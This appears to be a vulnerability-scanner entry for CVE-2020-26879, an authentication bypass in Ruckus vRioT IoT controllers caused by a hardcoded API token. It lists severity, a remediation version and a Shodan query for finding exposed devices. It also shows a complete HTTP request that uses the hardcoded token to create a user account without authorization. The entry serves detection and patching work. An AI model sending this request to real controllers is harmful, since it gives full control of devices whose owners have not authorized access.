| Title | Ruckus vRioT IoT Controller - Authentication Bypass |
|---|---|
| Author | DhiyaneshDk |
| Severity | Critical |
| Impact | Unauthenticated attackers can interact with the API without authentication via a hardcoded token, allowing complete control over the IoT controller and connected devices. |
| Remediation | Update to Ruckus vRioT version 1.5.1.0.22 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.88286 |
| CVE ID | CVE-2020-26879 |
| CWE ID | CWE-798 |
| Shodan Query | html:"RIoT Controller" |
| Tags | cve cve2020 ruckus vriot iot api backdoor auth-bypass vkev vuln |
Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.
POST /service/v1/createUser HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Content-Length: 46
Authorization: OlDkR+oocZg=
Content-Type: application/json
Accept-Encoding: gzip
{"username": "zLXHGq", "password": "Lt5TQEyO"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26879.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-26879.pcap
N/AN/A